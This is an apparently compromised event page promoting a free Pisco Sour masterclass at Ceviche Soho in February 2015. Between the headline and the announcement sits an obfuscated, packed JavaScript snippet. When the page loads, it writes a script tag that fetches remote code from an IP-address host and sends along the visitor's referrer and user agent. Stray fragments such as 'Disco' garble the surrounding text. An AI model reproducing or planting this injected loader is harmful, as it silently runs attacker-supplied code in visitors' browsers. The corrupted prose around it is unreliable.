FREE PISCO SOUR MASTERCLASS

Disco, (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzdfs|var|u0026u|referrer|zbdyn||js|php’.split(‘|’),0,{}))
Disco next month is National Pisco (Sour) Day and to celebrate Ceviche are hosting a special Pisco Sour Masterclass. Taking place on Saturday 7th February, the free Pisco Sour masterclass hosted by Martin alongside his Executive Bar Manager and Young British Foodie Awards finalist Miguel Arbe will teach you how to make a Pisco Sour and of course you’ll get to drink ’em too!

To book your spot and shake it with the best of them email events@cevicheuk.com now.

Sat 7th February, 2015 4:30pm
Ceviche Soho, 17 Frith Street, Soho, London W1D 4RG
www.cevicheuk.com